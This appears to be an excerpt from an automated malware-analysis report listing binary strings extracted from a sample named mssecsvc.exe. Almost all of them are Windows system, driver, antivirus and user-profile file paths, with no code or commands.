              Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Windows\System32\CertPolEng.dll A
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
              Source: mssecsvc.exe.2.drBinary string: @\Device\HarddiskVolume2\Windows\System32\ru-RU\WinSATAPI.dll.mui
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sysT
              Source: mssecsvc.exe.2.drBinary string: p\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\History\History.IE5@
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sysAUH
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\fveui.dll
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\wercplsupport.dll
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Locationp
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\QAGENTRT.DLL
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\netmscli.PNFC
              Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Cachesp
              Source: mssecsvc.exe.2.drBinary string: \\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Program Files\AVG Web TuneUp\lip.exep
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\crcdisk.sysp
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sysd
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StickyNotes-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYS
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\acpipmi.sysH
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ndiscap.sys
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\cabinet.dll
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5ABCO
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\VMBusHID.sys&
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\volsnap.inf_loc
              Source: mssecsvc.exe.2.drBinary string: h\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\mapi32.dll
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\BrSerId.sys
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\ru_PTC
              Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\LocalH
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\crcdisk.sys?
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\monitor.inf_loc
              Source: mssecsvc.exe.2.drBinary string: [\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Windows Filtering Platform
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\keyboard.inf_loc
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sys;
              Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr003.catp
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\mskssrv.sys
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ws2ifsl.sysv
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\MTConfig.sys
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys,
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasRip-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\sppsvc.exeI
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\desktop.inip
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SystemRestore-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\PLA\System_CPU
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Shell
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netrass.inf_loc0D
              Source: mssecsvc.exe.2.drBinary string: t\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\amdk8.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-MiscRedirection-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sys@
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\umrdp.dllSTRP
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\sppsvc.exer
              Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Program Files\AVG\Av\avgcmgr.exeST
              Source: mssecsvc.exe.2.drBinary string: -\Device\HarddiskVolume2\Windows\inf\mshdc.PNFp
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sfloppy.sysR_
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OpticalMediaDisc-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cato
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Gadget-Platform-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\1394ohci.sysp
              Source: mssecsvc.exe.2.drBinary string: z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.236.Crwl_^]
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SimpleTCP-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\DFDWiz.exeU0IS$
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\ru-RU\runonce.exe.mui+
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\ndiscap.PNF
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\bthserv.dll
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IE-Troubleshooters-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\msshooks.dllp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\intelide.sys
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\SoftwareDistribution
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\TsUsbGD.sys
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\shredlog.cfgp
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F94FD5F2AAEFDB64257601230509A4E9H
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\krnlapi.cfgp
              Source: mssecsvc.exe.2.drBinary string: Y\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Branding-Ultimate-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\gptext.dll
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\ListSvc.dll
              Source: mssecsvc.exe.2.drBinary string: ~\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Caches\{7CD55808-3D38-4DD5-90C9-62F0E6EE60D4}.2.ver0x0000000000000001.db
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\hidbth.sysH
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\arcsas.sysX
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netpacer.inf_locDa
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\msdtc.exe
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\wmpps.dll
              Source: mssecsvc.exe.2.drBinary string: U\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\fdeploy.dllW
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\Temp\SecurityScan_Release.exep
              Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft
              Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\System32\ras$X
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: Z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\vhdmp.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-SideShow-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\AppIDp
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\drmkaud.sysCP
              Source: mssecsvc.exe.2.drBinary string: #\Device\HarddiskVolume3\
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\Performance
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\errdev.sys
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\drmkaud.sys
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\WsmSvc.dll
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\ehome\ehprivjob.exe
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Drivers-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\nvstor.sysojec
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\csllog.cfgLL
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\keyboard.PNF
              Source: mssecsvc.exe.2.drBinary string: m\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Myp
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\wbem\WmiApSrv.exe
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\Temp\CR_6DDFF.tmp\setup.exekVh
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\evbdx.sys
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\en
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\certprop.dll
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\desktop.inip
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYS\S
              Source: mssecsvc.exe.2.drBinary string: W\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exep
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\rasacd.sys6
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-MiscRedirection-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: -\Device\HarddiskVolume2\Windows\inf\input.PNFp
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\w32time.dllBU
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\ru-RU\duser.dll.muiIOp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\sisraid2.sys
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sysH
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SNMP-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\ssdpsrv.dllTD
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Program Files\AVG Web TuneUp\TBAPI.dllM
              Source: mssecsvc.exe.2.drBinary string: -\Device\HarddiskVolume2\Windows\inf\oem10.PNFp
              Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Program Files\Remote Access Host\RemoteSoundServ.exei
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\hdaudbus.inf_loc
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\System Volume Information\SystemRestore\FRStagingp
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\rasacd.sysH
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\mssrch.dll
              Source: mssecsvc.exe.2.drBinary string: P\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\battery.inf_loc
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\fveui.dllal8
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\ru1
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netsstpt.inf_locBFFRp
              Source: mssecsvc.exe.2.drBinary string: ?\Device\HarddiskVolume2\Users\Public\Desktop\AVG Protection.lnk
              Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: {\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sys1
              Source: mssecsvc.exe.2.drBinary string: w\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files-1\
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16\temp\avg-2c059045-004a-4137-b301-6c3064f40275.tmpp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\hcw85cir.sys
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData
              Source: mssecsvc.exe.2.drBinary string: _\Device\HarddiskVolume2\$Recycle.Bin\S-1-5-21-1870734524-1274666089-2119431859-1000\desktop.ini
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Media-Foundation-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catore.p
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Sensors-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\en_CPU
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\CompositeBus.inf_loc
              Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\input.inf_locH
              Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ICM-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat:
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\ProgramData\Avg\log
              Source: mssecsvc.exe.2.drBinary string: Q\Device\HarddiskVolume2\ProgramData\AVG Web TuneUp\ChromeExt\4.3.7.452\install.js
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16\temp\avg-2c059045-004a-4137-b301-6c3064f40275.tmpb
              Source: mssecsvc.exe.2.drBinary string: D\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Ras
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndiscap.inf_loctform.
              Source: mssecsvc.exe.2.drBinary string: \\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Remote Access Hoste`
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys
              Source: mssecsvc.exe.2.drBinary string: 9\Device\HarddiskVolume2\Windows\System32\drivers\mpio.sys
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cpu.inf_locCC
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sys
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\System32\ega.cpiA^p
              Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex,
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ndiscap.sysS,
              Source: mssecsvc.exe.2.drBinary string: j\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\circlass.sys
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\lsi_sas.sysM
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\ehome\ehrec.exe
              Source: mssecsvc.exe.2.drBinary string: n\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini/
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: i\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update
              Source: mssecsvc.exe.2.drBinary string: @\Device\HarddiskVolume2\Windows\Prefetch\DLLHOST.EXE-766398D2.pf_Tp
              Source: mssecsvc.exe.2.drBinary string: ^\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows
              Source: mssecsvc.exe.2.drBinary string: v\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\WinSATAPI.dllp
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\iscsiexe.dll
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-LocalPrinting-Home-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\nslog.cfgS
              Source: mssecsvc.exe.2.drBinary string: ?\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sysS1
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\lltdio.inf_loc
              Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\acpi.inf_loc
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\Temp\_avast_p
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows Defender
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\netsstpt.PNFwnp
              Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\termsrv.dll
              Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\mshdc.inf_loc
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-LanguagePack-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Windows\System32\sdiagnhost.exe
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\WUDFRd.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Backup-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\Tasks\WPD
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Program Files\AVG\UiDll@
              Source: mssecsvc.exe.2.drBinary string: S\Device\HarddiskVolume2\Windows\System32\config\systemprofile\Favorites\desktop.ini
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16\temp\avg-7e9df016-cbcc-4646-838e-02461299762d.tmp
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\msmouse.inf_loc
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\publog.cfgk
              Source: mssecsvc.exe.2.drBinary string: V\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.chkH
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe
              Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cdrom.inf_loc
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\winsxs\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_ru-ru_a13dea73a92ad990\comctl32.dll.muiME
              Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\smb.sysH
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\schedlog.cfgp
              Source: mssecsvc.exe.2.drBinary string: a\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.inip
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpahci.sysp
